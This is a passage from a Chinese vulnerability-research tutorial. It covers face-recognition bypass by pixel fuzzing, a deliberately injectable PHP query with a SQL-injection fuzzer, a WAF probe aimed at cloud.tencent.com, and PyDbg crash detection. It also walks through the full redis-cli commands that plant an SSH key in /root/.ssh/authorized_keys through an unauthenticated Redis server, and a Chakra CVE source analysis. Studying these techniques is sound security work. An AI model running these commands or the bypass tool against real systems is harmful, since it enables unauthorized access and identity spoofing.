image_encoding = face_recognition.face_encodings(image)[0]\n\n        return image_encoding\n\n    def get_face_location(file_path) :\n        image = face_recognition.load_image_file(file_path)\n        face_location = face_recognition.face_locations(image)[0]\n\n        return face_location\n\n    def fuzzing(source_image_path = 'obama/obama.jpg',fuzzing_image_path = 'ponyma/ponyma.png',target_compare_rate = 0.4) :\n        source_face_data = load_image_encoding(source_image_path)\n        image = Image.open(fuzzing_image_path)\n        draw = ImageDraw.Draw(image)\n        last_best_compare_rate = 1\n        face_location = get_face_location(fuzzing_image_path)  #  获取人脸位置\n        random_fuzzing_location_top = face_location[0]\n        random_fuzzing_location_bottom = face_location[2]\n        random_fuzzing_location_left = face_location[3]\n        random_fuzzing_location_right = face_location[1]\n\n        while True :\n            random_pixel_data = (random.randint(0,255),  #  随机像素值\n                                 random.randint(0,255),\n                                 random.randint(0,255))\n            random_location = (random.randint(random_fuzzing_location_left,random_fuzzing_location_right),  #  随机位置\n                               random.randint(random_fuzzing_location_top,random_fuzzing_location_bottom))\n            last_pixel_data = image.getpixel(random_location)\n\n            draw.point(random_location,random_pixel_data)  #  在人脸的区域上随机画一个像素\n\n            fuzzing_face_image = image.convert('RGB')\n            fuzzing_face_array = array(fuzzing_face_image)\n            fuzzing_face_data = face_recognition.face_encodings(fuzzing_face_array)[0]\n            compare_rate = face_recognition.face_distance([source_face_data],fuzzing_face_data)  #  重新对比两个人脸\n\n            print 'Compare Rate =',compare_rate,' Random Location =',random_location,' Random Pixel Data =',random_pixel_data\n\n            del fuzzing_face_image  #  防止内存泄漏 ..\n            del fuzzing_face_array\n            del fuzzing_face_data\n\n            if compare_rate < target_compare_rate :  #  两张人脸识别结果的判断率达到要求之后,就退出\n                break\n\n            if compare_rate < last_best_compare_rate :  #  如果随机的像素没有提升识别率,那就恢复原来的那个像素,如果有提升识别率,那就保存这个像素\n                last_best_compare_rate = compare_rate\n\n                print 'New Study Rate:' ,last_best_compare_rate\n            else :\n                draw.point(random_location,last_pixel_data)\n\n        image.save(fuzzing_image_path + '_bypass_check.jpg')\n\n\n    obama_image = face_recognition.load_image_file('obama/obama.jpg')\n    obama1_image = face_recognition.load_image_file('obama/obama2.jpg')\n    ponyma_image = face_recognition.load_image_file('ponyma/ponyma.png')\n    ponyma1_image = face_recognition.load_image_file('ponyma/ponyma.png_bypass_check.jpg')\n\n    obama_encoding = face_recognition.face_encodings(obama_image)[0]\n    obama1_encoding = face_recognition.face_encodings(obama1_image)[0]\n    ponyma_image = face_recognition.face_encodings(ponyma_image)[0]\n    ponyma1_image = face_recognition.face_encodings(ponyma1_image)[0]\n\n    print 'Obama Test:'\n    print face_recognition.compare_faces([obama_encoding], obama1_encoding),\\\n          face_recognition.face_distance([obama_encoding], obama1_encoding)\n    print 'PonyMa test:'\n    print face_recognition.compare_faces([obama_encoding], ponyma_image),\\\n          face_recognition.face_distance([obama_encoding], ponyma_image)\n    print 'PonyMa Bypass test:'\n    print face_recognition.compare_faces([obama_encoding], ponyma1_image),\\\n          face_recognition.face_distance([obama_encoding], ponyma1_image)\n\n    print 'Ready Fuzzing ..'\n    \n    fuzzing()\n\n```\n\n  运行过程与结果\n\n![](pic3/study.gif)\n\n![](pic3/study2.gif)\n\n![](pic3/valid.png)\n\n  看到这里,相信读者应该理解到:**用户的输入是不可信的,精心构造的输入会影响程序的输出结果甚至远程代码执行**.下面再举一个SQL 注入的例子,先来看看页面的源码\n\n```php\n\n    <?php\n\n        $connect = mysql_connect('localhost','root','root');\n\n        mysql_select_db('test', $connect);\n\n        $query  = 'SELECT * FROM user WHERE name = \"' . $_REQUEST['name'] . '\"';\n        $result = mysql_query($query) or die('<pre>'.mysql_error().'</pre>');\n\n        while($row = mysql_fetch_array($result)) {\n          echo $row['0'] . ' ' . $row['1'];\n          echo '<br />';\n        }\n\n        echo '<br/>';\n        echo $query;\n        mysql_close($connect);\n\n    ?>\n\n```\n\n  访问URL:http://127.0.0.1/sql.php?name=root ,页面返回的数据如下\n\n![](pic3/php_sql_result1.png)\n\n  此时我们在root 后面加上\" ,URL 变为:http://127.0.0.1/sql.php?name=root\" ,再次访问链接\n\n![](pic3/php_sql_result2.png)\n\n  可以看到,现在SQL 语句出现异常了.对于URL 进行做SQL 注入Fuzzing ,我们通过`' \"` 这两个符号插入到URL 的参数里来判断能否导致SQL 字符串闭合异常.Fuzzer 代码如下:\n\n```python\n\n    import sys\n\n    import requests\n\n\n    def get_url_path(url) :\n        argument_offset = url.find('?')\n\n        if -1 == argument_offset :\n            return False\n\n        url = url[ : argument_offset ]\n\n        return url\n\n    def get_url_argument(url) :\n        argument_offset = url.find('?')\n\n        if -1 == argument_offset :\n            return False\n\n        url = url[ argument_offset + 1 : ]\n        argument = url.split('&')\n\n        return argument\n\n    def check_url_inject(url_path,url_argument) :\n        sql_inject_flag = [ '\\'' , '\"' ]\n        sql_inject_error_flag = 'SQL syntax'\n        inject_result = False\n\n        for url_argument_index in url_argument :\n            for sql_inject_flag_index in sql_inject_flag :\n                responed = requests.get(url_path + '?' + url_argument_index + sql_inject_flag_index)\n\n                if not -1 == responed.text.find(sql_inject_error_flag) :\n                    inject_result = True\n\n                    break\n\n        return inject_result\n\n\n    if __name__ == '__main__' :\n        if not 2 == len(sys.argv) :\n            print 'sql.py URL'\n\n            exit()\n\n        url = sys.argv[1]\n        url_argument = get_url_argument(url)\n        url_path = get_url_path(url)\n\n        print 'Is Inject:' ,check_url_inject(url_path,url_argument)\n\n```\n\n  运行结果如下\n\n![](pic3/sql_inject.png)\n\n  同样的原理,我们来做WAF 检测,示例URL:https://cloud.tencent.com/ .如果URL 里面还有敏感Payload 时,腾讯云的WAF 会返回501 的回应,否则会返回正常的请求\n\n```python\n\n    import sys\n\n    import requests\n\n\n    def check_waf(url_path) :\n        responed = requests.get(url_path + '?test=<script>')\n\n        if 501 == responed.status_code :\n            return True\n\n        return False\n\n\n    if __name__ == '__main__' :\n        if not 2 == len(sys.argv) :\n            print 'sql.py URL'\n\n            exit()\n\n        print 'Has WAF:' ,check_waf(sys.argv[1])\n\n```\n\n  基于这段检测数据输出的代码,我们可以来做WAF Fuzzing 测试,看看哪些Payload 是无法被拦截的,关于WAF 的Fuzzing 以后再写一些东西\n\n\n### 检测运行异常\n\n  检测运行异常在二进制上应用比较多,回顾上一章的Python 运行环境Fuzzing ,Fuzzer 只做了一个数据输入的生成,具体崩溃点还不知道在哪个位置,现在我们就使用PyDbg 和PyDasm 来自动化检测异常,关于PyDbg 我整理过一个使用文档,更多信息可以参考这里:https://github.com/lcatro/PyDbg_Document .下面使用PyDbg 来编写Python 运行环境Fuzzing 的异常检测模块\n  \n```python\n\n    EXCEPTION_STACK_OVERFLOW=0xC00000FD  #  栈溢出异常,这个值PyDbg 里没有,是自己加上去的\n\n    def get_exception(EXCEPTION) :  #  判断异常类型\n        if EXCEPTION==EXCEPTION_STACK_OVERFLOW :\n            return 'EXCEPTION_STACK_OVERFLOW'\n        elif EXCEPTION==pydbg.defines.EXCEPTION_ACCESS_VIOLATION :\n            return 'EXCEPTION_ACCESS_VIOLATION'\n        elif EXCEPTION==pydbg.defines.EXCEPTION_GUARD_PAGE :\n            return 'EXCEPTION_GUARD_PAGE'\n        return 'Unknow Exception!'\n\n    def get_instruction(self,address) :  #  获取指定地址附近的汇编代码\n        for ins in self.disasm_around(address,10) :\n            if ins[0]==address :\n                print '->Add:'+str(hex(ins[0]))[:-1]+'-'+ins[1]\n            else :\n                print '  Add:'+str(hex(ins[0]))[:-1]+'-'+ins[1]\n\n    def format_output(memory_data) :  #  格式化输出内存数据\n        output_string=''\n        for memory_data_index in memory_data :\n            output_string+=str(hex(ord(memory_data_index)))+' '\n        return output_string\n\n    def dump_crash(self,EXCEPTION,EIP,EAX,EBX,ECX,EDX,ESP,EBP,ESI,EDI,instruction) :  #  输出崩溃信息\n        print 'WARNING! Exploit:',get_exception(EXCEPTION),str(hex(EIP))[:-1],instruction,'\\n'\n        get_instruction(self,EIP)\n        print ''\n        print 'EAX:'+str(hex(EAX))[:-1],'EBX:'+str(hex(EBX))[:-1],'ECX:'+str(hex(ECX))[:-1],'EDX:'+str(hex(EDX))[:-1],'ESP:'+str(hex(ESP))[:-1],'EBP:'+str(hex(EBP))[:-1],'ESI:'+str(hex(ESI))[:-1],'EDI:'+str(hex(EDI))[:-1]\n        print 'Easy Debug Viewer:'\n        print 'command:-r %regesit% (look regesit) ;-a %address% (look memory address) ;-u %address% (get instruction) ;-quit (will exit)'\n\n        while True :  #  这里有个内置调试器,支持一些手工调试功能\n            try :\n                command=raw_input('->')\n                if command[:2]=='-r' :  #  获取寄存器\n                    print str(hex(self.get_register(str.upper(command[3:]))))[:-1]\n                elif command[:2]=='-a' :  #  获取数据\n                    dump_data=self.read(eval(command[3:]),DUMP_DATA_LENGTH)\n                    print format_output(dump_data)\n                    print dump_data\n                elif command[:2]=='-u' :  #  获取代码\n                    get_instruction(self,eval(command[3:]))\n                elif command[:5]=='-quit' :  #  退出\n                    break\n            except :\n                print 'Making a Except may input a error data'\n\n    def check_valueble_crash(self,EXCEPTION) :  #  获取异常崩溃信息\n        EIP=self.get_register('EIP')\n        EAX=self.get_register('EAX')\n        EBX=self.get_register('EBX')\n        ECX=self.get_register('ECX')\n        EDX=self.get_register('EDX')\n        ESP=self.get_register('ESP')\n        EBP=self.get_register('EBP')\n        ESI=self.get_register('ESI')\n        EDI=self.get_register('EDI')\n        instruction=self.disasm(EIP)\n\n        if 'call'==instruction[0:4] :\n            dump_crash(self,EXCEPTION,EIP,EAX,EBX,ECX,EDX,ESP,EBP,ESI,EDI,instruction)\n        elif 'mov'==instruction[0:3] :\n            dump_crash(self,EXCEPTION,EIP,EAX,EBX,ECX,EDX,ESP,EBP,ESI,EDI,instruction)\n        elif 'pop'==instruction[0:3] :\n            dump_crash(self,EXCEPTION,EIP,EAX,EBX,ECX,EDX,ESP,EBP,ESI,EDI,instruction)\n        elif 'push'==instruction[0:4] :\n            dump_crash(self,EXCEPTION,EIP,EAX,EBX,ECX,EDX,ESP,EBP,ESI,EDI,instruction)\n        elif EXCEPTION==EXCEPTION_STACK_OVERFLOW :\n            dump_crash(self,EXCEPTION,EIP,EAX,EBX,ECX,EDX,ESP,EBP,ESI,EDI,instruction)\n\n    def crash_recall_guard_page(self) :  #  捕获程序异常的回调函数,参数self 是Pydbg 的对象\n        check_valueble_crash(self,pydbg.defines.EXCEPTION_GUARD_PAGE)\n\n    def crash_recall_access_violation(self) :\n        check_valueble_crash(self,pydbg.defines.EXCEPTION_ACCESS_VIOLATION)\n\n    def crash_recall_exit_process(self) :\n        check_valueble_crash(self,pydbg.defines.EXIT_PROCESS_DEBUG_EVENT)\n\n    def crash_recall_stack_overflow(self) :\n        check_valueble_crash(self,EXCEPTION_STACK_OVERFLOW)\n\n\n    if __name__ == '__main__' :\n        while True :\n            code_object = make_code_object(make_opcode_stream())\n\n            save_to_pyc('python_fuzzing.tmp.pyc',code_object)\n\n            debugger = pydbg.pydbg()  #  初始化PyDbg\n\n            debugger.set_callback(pydbg.defines.EXCEPTION_ACCESS_VIOLATION,crash_recall_access_violation)  #  设置异常回调\n            debugger.set_callback(pydbg.defines.EXCEPTION_GUARD_PAGE,crash_recall_guard_page)\n            debugger.set_callback(pydbg.defines.EXIT_PROCESS_DEBUG_EVENT,crash_recall_exit_process)\n            debugger.set_callback(EXCEPTION_STACK_OVERFLOW,crash_recall_stack_overflow)\n\n            debugger.load('C:\\\\Python27\\\\python.exe','python_fuzzing.tmp.pyc')  #  把生成的样本传递进来Fuzzing\n            debugger.run()  #  启动调试\n\n            time.sleep(3)\n\n            del debugger  #  删除PyDbg\n\n```\n\n  运行效果\n\n![](pic3/debug_version_fuzzer.png)\n\n  PyDbg 不是一个好的选择,因为有一些buffer overflow 必须要改写到其他数据并且又要被引用才会触发异常,事实上有很多情况是越界读写并没有被检测出来.最好的选择还是使用ASAN ,ASAN 自带有很强大的内存检测方式,ASAN 需要在编译的时候使用`-fsanitize=address` 参数引入,但是使用ASAN 需要依赖源码.在没有源码只有执行文件的情况下,linux 平台使用valgrind ,windows 平台使用gflags 来做内存异常检测.\n\n  使用ASAN 做检测就方便很多了,下面是ASAN 检测内存泄漏和越界的例子(检测程序为bfgminer)\n\n![](pic3/load_config_memory_leak.png)\n\n![](pic3/probe_device_thread_overflow.png)\n\n"
  },
  {
    "path": "4.阅读源码.md",
    "content": "\n读代码要带有目的去读,是要挖漏洞还是想要了解这个程序到在底干了些什么\n\n要理解整体的时候,千万不要在某个细节里钻牛角尖\n\n要一边理解细节一边挖洞的时候,记得要联想到所有可能的情况\n\n\n## 必备工具\n\n  Source Insight ,redis 源码,VS2017 ,Chakra 源码 ,Struts2 源码\n\n\n## 从一个利用思路到源码层上的理解\n\n  本节从一个redis 提权思路开始一步步分析,原文地址:https://www.huangdc.com/443 .这篇文章主要说的是,找到了未授权的redis 然后使用`config` 命令进行ssh key 的替换,使得攻击者可以使用ssh 免密码登陆的方式 直接getshell .我们看看文章里的关键部分\n\n```bash\n\n    [root@vm200-78 ~]# cat mypubkey.txt |redis-cli -h 192.168.203.224 -p 4700 -x set mypubkey\n    OK\n    [root@vm200-78 ~]# redis-cli -h 192.168.203.224 -p 4700\n    redis 192.168.203.224:4700> config set dir /root/.ssh/\n    OK\n    redis 192.168.203.224:4700> config set dbfilename \"authorized_keys\"\n    OK\n    redis 192.168.203.224:4700> save\n    OK\n    redis 192.168.203.224:4700>\n\n```\n\n  把mypubkey.txt 的内容写入到了mypubkey 之后,然后使用`config set dir` 改变数据保存目录,再使用`config set dbfilename \"authorized_keys\"` 改变数据保存文件名,接下来使用`save` 进行数据保存,把ssh key 保存到/root/.ssh 中,下载好redis 的源码,我们来探索一下\n\n  这个命令叫config ,那么我们到Github 上来搜索有config 的地方\n\n![](pic4/github_find_config.png)\n\n![](pic4/github_find_config1.png)\n\n  有config 字符串的地方太多了,我们换一个来搜索,找save 命令\n\n![](pic4/github_find_save.png)\n\n![](pic4/github_find_save1.png)\n\n  搜索save 的结果不是很多,在第二页就可以找到所有命令的声名了\n\n![](pic4/github_find_save2.png)\n\n  接下来我们来看看`src/server.c` 的代码,搜索saveCommand \n\n![](pic4/github_find_save3.png)\n\n  现在可以进一步确定这个地方是命令声名的地方,`save` 是命令的字符串,`saveCommand` 是命令的入口点,那么我们搜索`config`\n\n![](pic4/github_find_config2.png)\n\n  现在能够定位到`config` 命令的入口函数了,继续搜索configCommand\n\n![](pic4/github_find_config3.png)\n\n  定位到configCommand 函数在`src/config.c` ,进去源码文件继续查找\n\n![](pic4/github_find_config4.png)\n\n  找到configCommand ,源码如下:\n\n```c\n\n    void configCommand(client *c) {\n        /* Only allow CONFIG GET while loading. */\n        if (server.loading && strcasecmp(c->argv[1]->ptr,\"get\")) {\n            addReplyError(c,\"Only CONFIG GET is allowed during loading\");\n            return;\n        }\n\n        if (c->argc == 2 && !strcasecmp(c->argv[1]->ptr,\"help\")) {\n            const char *help[] = {\n                \"get <pattern> -- Return parameters matching the glob-like <pattern> and their values.\",\n                \"set <parameter> <value> -- Set parameter to value.\",\n                \"resetstat -- Reset statistics reported by INFO.\",\n                \"rewrite -- Rewrite the configuration file.\",\n                NULL\n            };\n            addReplyHelp(c, help);\n        } else if (!strcasecmp(c->argv[1]->ptr,\"set\") && c->argc == 4) {  //  注意这里,config set 命令\n            configSetCommand(c);\n        } else if (!strcasecmp(c->argv[1]->ptr,\"get\") && c->argc == 3) {\n            configGetCommand(c);\n        } else if (!strcasecmp(c->argv[1]->ptr,\"resetstat\") && c->argc == 2) {\n            resetServerStats();\n            resetCommandTableStats();\n            addReply(c,shared.ok);\n        } else if (!strcasecmp(c->argv[1]->ptr,\"rewrite\") && c->argc == 2) {\n            if (server.configfile == NULL) {\n                addReplyError(c,\"The server is running without a config file\");\n                return;\n            }\n            if (rewriteConfig(server.configfile) == -1) {\n                serverLog(LL_WARNING,\"CONFIG REWRITE failed: %s\", strerror(errno));\n                addReplyErrorFormat(c,\"Rewriting config file: %s\", strerror(errno));\n            } else {\n                serverLog(LL_WARNING,\"CONFIG REWRITE executed with success.\");\n                addReply(c,shared.ok);\n            }\n        } else {\n             addReplyErrorFormat(c, \"Unknown subcommand or wrong number of arguments for '%s'. Try CONFIG HELP\",\n                (char*)c->argv[1]->ptr);\n            return;\n        }\n    }\n\n```\n\n  继续对`configSetCommand()` 函数进行跟踪,在`src/config.c:837` 行代码,由于代码量比较多,在此挑选一些比较重点的地方来说\n\n```c\n\n    void configSetCommand(client *c) {\n        robj *o;\n        long long ll;\n        int err;\n        serverAssertWithInfo(c,c->argv[2],sdsEncodedObject(c->argv[2]));\n        serverAssertWithInfo(c,c->argv[3],sdsEncodedObject(c->argv[3]));\n        o = c->argv[3];\n\n        if (0) { /* this starts the config_set macros else-if chain. */\n\n        /* Special fields that can't be handled with general macros. */\n        config_set_special_field(\"dbfilename\") {  //  命令config set dbfilename\n            if (!pathIsBaseName(o->ptr)) {  //  \n                addReplyError(c, \"dbfilename can't be a path, just a filename\");\n                return;\n            }\n            zfree(server.rdb_filename);\n            server.rdb_filename = zstrdup(o->ptr);\n            \n        //  ...\n            \n        } config_set_special_field(\"dir\") {  //  命令config set dir\n            if (chdir((char*)o->ptr) == -1) {\n                addReplyErrorFormat(c,\"Changing directory: %s\", strerror(errno));\n                return;\n            }\n        }\n        \n        //  ...\n    }\n\n```\n\n  `config set dir` 这个命令很好理解,就是改变当前运行目录路径.`config set dbfilename` 则是设置redis 服务器的rdb_filename 字段.明白了`config set` 的工作原理之后,回来再看看`save` 命令.使用上面的方法找到`saveCommand()` 函数,在`src/rdb.c:2073` 行.\n\n```c\n\n    void saveCommand(client *c) {\n        if (server.rdb_child_pid != -1) {\n            addReplyError(c,\"Background save already in progress\");\n            return;\n        }\n        rdbSaveInfo rsi, *rsiptr;\n        rsiptr = rdbPopulateSaveInfo(&rsi);\n        if (rdbSave(server.rdb_filename,rsiptr) == C_OK) {\n            addReply(c,shared.ok);\n        } else {\n            addReply(c,shared.err);\n        }\n    }\n\n```\n\n  我们再来找找`rdbSave()` 函数.`CTRL + F` 搜素一下有没有在当前的代码文件里.\n  \n![](pic4/github_find_rdbsave.png)\n\n  同一个文件上有很多rdbSave 的关键字,我们要找的是函数声明,那么加上一个`(` 符号,搜素字符串`rdbSave(`\n  \n![](pic4/github_find_rdbsave1.png)\n\n  这样搜素出来的结果就少很多,往上找一找,就能够直接定位到`rdbSave()` 函数,在`src/rdb.c:1042` 行\n\n```c\n\n    /* Save the DB on disk. Return C_ERR on error, C_OK on success. */\n    int rdbSave(char *filename, rdbSaveInfo *rsi) {\n        char tmpfile[256];\n        char cwd[MAXPATHLEN]; /* Current working dir path for error messages. */\n        FILE *fp;\n        rio rdb;\n        int error = 0;\n\n        snprintf(tmpfile,256,\"temp-%d.rdb\", (int) getpid());  //  生成一个临时文件名\n        fp = fopen(tmpfile,\"w\");  //  创建文件\n        if (!fp) {\n            char *cwdp = getcwd(cwd,MAXPATHLEN);\n            serverLog(LL_WARNING,\n                \"Failed opening the RDB file %s (in server root dir %s) \"\n                \"for saving: %s\",\n                filename,\n                cwdp ? cwdp : \"unknown\",\n                strerror(errno));\n            return C_ERR;\n        }\n\n        rioInitWithFile(&rdb,fp);\n        if (rdbSaveRio(&rdb,&error,RDB_SAVE_NONE,rsi) == C_ERR) {  //  保存数据到文件\n            errno = error;\n            goto werr;\n        }\n\n        /* Make sure data will not remain on the OS's output buffers */\n        if (fflush(fp) == EOF) goto werr;\n        if (fsync(fileno(fp)) == -1) goto werr;\n        if (fclose(fp) == EOF) goto werr;  //  关闭文件\n\n        /* Use RENAME to make sure the DB file is changed atomically only\n         * if the generate DB file is ok. */\n        if (rename(tmpfile,filename) == -1) {  //  重命名文件\n            char *cwdp = getcwd(cwd,MAXPATHLEN);\n            serverLog(LL_WARNING,\n                \"Error moving temp DB file %s on the final \"\n                \"destination %s (in server root dir %s): %s\",\n                tmpfile,\n                filename,\n                cwdp ? cwdp : \"unknown\",\n                strerror(errno));\n            unlink(tmpfile);\n            return C_ERR;\n        }\n\n        serverLog(LL_NOTICE,\"DB saved on disk\");\n        server.dirty = 0;\n        server.lastsave = time(NULL);\n        server.lastbgsave_status = C_OK;\n        return C_OK;\n\n    werr:\n        serverLog(LL_WARNING,\"Write error saving DB on disk: %s\", strerror(errno));\n        fclose(fp);\n        unlink(tmpfile);\n        return C_ERR;\n    }\n\n```\n\n  看完了上面的代码之后,我们知道:fopen 会在当前目录下生成一个临时文件来保存数据,那么通过`config set dir` 改变目录到`/root/.ssh/` ,`fopen()` 函数就会在`/root/.ssh/` 目录下生成文件.我们来看看`rdbSave()` 函数重命名文件部分的代码\n  \n```c\n\n    if (rename(tmpfile,filename) == -1) {  //  重命名文件\n        char *cwdp = getcwd(cwd,MAXPATHLEN);\n        \n        // ...\n        \n        unlink(tmpfile);\n        return C_ERR;\n    }\n\n```\n\n  filename 是rdbSave 函数的参数\n  \n```c\n\n    /* Save the DB on disk. Return C_ERR on error, C_OK on success. */\n    int rdbSave(char *filename, rdbSaveInfo *rsi) {\n\n```\n\n  然后回去看`saveCommand()` 的源码,filename 其实是server.rdb_filename\n\n```c\n\n    if (rdbSave(server.rdb_filename,rsiptr) == C_OK) {\n    \n```\n\n\n## 从一个漏洞Commit 到理解这一类的漏洞挖掘方式\n\n  本节从一个Chakra 的Bug Commit : [CVE-2017-0141] ReverseHelper Heap Overflow ,Link https://github.com/Microsoft/ChakraCore/commit/db504eba489528434dfb56257b0f202209741fe9 .和读者们分享一下如何从阅读源码的层面上对JavaScript 的OOB 漏洞挖掘的一些思路.\n\n![](pic4/reversehelper_commit.png)\n\n  看到diff 知道代码修复的位置,现在我们到Source Insight 里面找找.找到这个按钮\n\n![](pic4/function_list.png)\n\n  现在在搜素里面找ReverseHelper ,Source Insight 能找到这个函数\n\n![](pic4/function_list2.png)\n\n  双击这里之后,就跳到了ReverseHelper ,我们在看看函数列表这里\n\n![](pic4/function_list1.png)\n\n  是不是看到了很多其他的函数,这些函数就是Chakra 的JavaScript 内部对象的实现函数.要触发ReverseHelper 函数的调用,可以构造如下的代码.\n  \n```javascript\n\n    data = Array();\n    \n    data.reverse();\n\n```\n  \n  注意,**Chakra 是在底层上实现内部对象函数的,V8 是在Native JavaScript 上实现内部对象函数的**.\n  \n  让我们回来继续分析漏洞成因.由于代码一直有变化,patch 了的代码和原来Commit 的位置已经不同了,不过没有关系,能定位到就好.\n\n![](pic4/reversehelper_commit1.png)\n\n  pArr 到底是什么东西呢,我们来查看它的定义\n\n![](pic4/find_parr.png)\n\n![](pic4/find_parr1.png)\n\n  `ReverseHelper()` 的声明如下:\n  \n```c++\n\n    Var JavascriptArray::ReverseHelper(JavascriptArray* pArr, Js::TypedArrayBase* typedArrayBase, RecyclableObject* obj, T length, ScriptContext* scriptContext)\n\n```\n\n  现在我们找到了pArr 和length 的来源了.来看看`ReverseHelper()` 被哪些地方引用到\n\n![](pic4/reversehelper_references.png)\n\n```\n\n    JavascriptArray.cpp (lib\\runtime\\library):            JS_REENTRANT_UNLOCK(jsReentLock, return JavascriptArray::ReverseHelper(pArr, nullptr, obj, length.GetSmallIndex(), scriptContext));\n    JavascriptArray.cpp (lib\\runtime\\library):        JS_REENTRANT_UNLOCK(jsReentLock, return JavascriptArray::ReverseHelper(pArr, nullptr, obj, length.GetBigIndex(), scriptContext));\n    JavascriptArray.cpp (lib\\runtime\\library):    Var JavascriptArray::ReverseHelper(JavascriptArray* pArr, Js::TypedArrayBase* typedArrayBase, RecyclableObject* obj, T length, ScriptContext* scriptContext)\n    JavascriptArray.h (lib\\runtime\\library):        static Var ReverseHelper(JavascriptArray* pArr, Js::TypedArrayBase* typedArrayBase, RecyclableObject* obj, T length, ScriptContext* scriptContext);\n    TypedArray.cpp (lib\\runtime\\library):        return JavascriptArray::ReverseHelper(nullptr, typedArrayBase, typedArrayBase, typedArrayBase->GetLength(), scriptContext);\n\n```\n\n  我们搜素当前的源码文件的那两个引用.最后定位到`JavascriptArray::EntryReverse()`\n\n```c++\n\n    Var JavascriptArray::EntryReverse(RecyclableObject* function, CallInfo callInfo, ...)  //  在Chakra 中,内部对象处理函数都长这样\n    /*\n      注意:Chakra 的内部函数调用原理是这样的:callInfo 传递给函数调用的参数列表.里面包含了当前对象和函数参数对象列表,callInfo[0] 是当前对象,callInfo[1] 往后就是函数参数列表\n    */\n    {\n        PROBE_STACK(function->GetScriptContext(), Js::Constants::MinStackDefault);\n\n        ARGUMENTS(args, callInfo);  //  格式化callInfo 成args\n        ScriptContext* scriptContext = function->GetScriptContext();\n        JS_REENTRANCY_LOCK(jsReentLock, scriptContext->GetThreadContext());\n\n        Assert(!(callInfo.Flags & CallFlags_New));\n\n        if (args.Info.Count == 0)  //  无法获取当前的Array 对象\n        {\n            JavascriptError::ThrowTypeError(scriptContext, JSERR_This_NullOrUndefined, _u(\"Array.prototype.reverse\"));\n        }\n\n        BigIndex length = 0u;  //  注意,这个就是传递到ReverseHelper() 的length\n        JavascriptArray* pArr = nullptr;\n        RecyclableObject* obj = nullptr;\n\n        JS_REENTRANT(jsReentLock, TryGetArrayAndLength(args[0], scriptContext, _u(\"Array.prototype.reverse\"), &pArr, &obj, &length));  //  从当前的Array 对象中获取信息,其中包含了数组长度,Array 指针\n\n        if (length.IsSmallIndex())\n        {\n            JS_REENTRANT_UNLOCK(jsReentLock, return JavascriptArray::ReverseHelper(pArr, nullptr, obj, length.GetSmallIndex(), scriptContext));  //  调用ReverseHelper\n        }\n        Assert(pArr == nullptr || length.IsUint32Max()); // if pArr is not null lets make sure length is safe to cast, which will only happen if length is a uint32max\n\n        JS_REENTRANT_UNLOCK(jsReentLock, return JavascriptArray::ReverseHelper(pArr, nullptr, obj, length.GetBigIndex(), scriptContext));  //  调用ReverseHelper\n    }\n\n```\n\n  再来看看`TryGetArrayAndLength()` 做了些什么\n\n```c++\n\n    template<typename T>\n    void JavascriptArray::TryGetArrayAndLength(Var arg,\n        ScriptContext *scriptContext,\n        PCWSTR methodName,\n        __out JavascriptArray** array,\n        __out RecyclableObject** obj,\n        __out T * length)\n    {\n        Assert(array != nullptr);\n        Assert(obj != nullptr);\n        Assert(length != nullptr);\n\n        *array = JavascriptOperators::TryFromVar<JavascriptArray>(arg);\n        if (*array && !(*array)->IsCrossSiteObject())  //  判断Array 是否为跨站对象\n        {\n            #if ENABLE_COPYONACCESS_ARRAY\n                JavascriptLibrary::CheckAndConvertCopyOnAccessNativeIntArray<Var>(*array);\n            #endif\n            \n            *obj = *array;\n            *length = (*array)->length;  //  返回的长度为真实的数组长度\n        }\n        else\n        {\n            if (!JavascriptConversion::ToObject(arg, scriptContext, obj))\n            {\n                JavascriptError::ThrowTypeError(scriptContext, JSERR_This_NullOrUndefined, methodName);\n            }\n            *length = OP_GetLength(*obj, scriptContext);  //  返回的长度为JavaScript 属性length 设置的值\n            *array = nullptr;\n        }\n    }\n\n```\n\n  `IsCrossSiteObject()` 到底做了什么工作呢?读者可以自行搜素代码来阅读.\n\n![](pic4/cross_site_object.png)\n\n  相信读者开始有一个疑问,`*length = (*array)->length;` 和`*length = OP_GetLength(*obj, scriptContext);` 到底有什么不同呢?**理解它们两个差异,就可以理解JavaScript 关于数组越界的漏洞的成因**.让我们再深入去了解它们背后的故事.\n\n```c++\n\n    class ArrayObject : public DynamicObject  //  lib/runtime/types/ArrayObject.h:18\n    {\n    protected:\n        Field(uint32) length;\n\n\n    class JavascriptArray : public ArrayObject  //  lib/runtime/library/JavascriptArray.h:94\n    {\n\n```\n\n  JavascriptArray 是继承ArrayObject 的,我们来看看JavascriptArray 的构造函数\n\n```c++\n\n    JavascriptArray::JavascriptArray(uint32 length, DynamicType * type)\n        : ArrayObject(type, false, length)\n    {\n        Assert(JavascriptArray::Is(type->GetTypeId()));\n        Assert(EmptySegment->length == 0 && EmptySegment->size == 0 && EmptySegment->next == NULL);\n        InitArrayFlags(DynamicObjectFlags::InitialArrayValue);\n        SetHeadAndLastUsedSegment(const_cast<SparseArraySegmentBase *>(EmptySegment));\n    }\n\n```\n\n  由此可知,JavascriptArray 初始化长度length 最后传递给ArrayObject 的构造函数.\n\n```c++\n\n    ArrayObject(DynamicType * type, bool initSlots = true, uint32 length = 0)\n        : DynamicObject(type, initSlots), length(length)\n    {\n    \n```\n\n  弄明白了`JavascriptArray->length` 之后,再来理解`OP_GetLength` .前面说过,Op_GetLength 是JavaScript 属性length 设置的值.现在我们来分析一下代码\n\n```c++\n\n    uint64 JavascriptArray::OP_GetLength(Var obj, ScriptContext *scriptContext)  //  lib/runtime/library/JavascriptArray.cpp:3025\n    {\n        if (scriptContext->GetConfig()->IsES6ToLengthEnabled())\n        {\n            // Casting to uint64 is okay as ToLength will always be >= 0.\n            return (uint64)JavascriptConversion::ToLength(JavascriptOperators::OP_GetLength(obj, scriptContext), scriptContext);\n        }\n        else\n        {\n            return (uint64)JavascriptConversion::ToUInt32(JavascriptOperators::OP_GetLength(obj, scriptContext), scriptContext);\n        }\n    }\n\n```\n\n  这段代码里面有两个OP_GetLength ,分别是`JavascriptArray::OP_GetLength` 和`JavascriptOperators::OP_GetLength` ,他们需要的函数参数都是`Var obj` 和`ScriptContext *scriptContext` ,参数obj 的意思是当前对象,参数scriptContext 的意思是JavaScript 执行环境上下文.再去阅读`JavascriptOperators::OP_GetLength()`\n\n```c++\n\n    Var JavascriptOperators::OP_GetLength(Var instance, ScriptContext* scriptContext)\n    {\n        return JavascriptOperators::OP_GetProperty(instance, PropertyIds::length, scriptContext);\n    }\n\n```\n\n  看到这里读者们应该理解了,OP_GetLength 就是读取对象属性length 的值,再看看`JavascriptOperators::OP_GetProperty()` 的代码\n  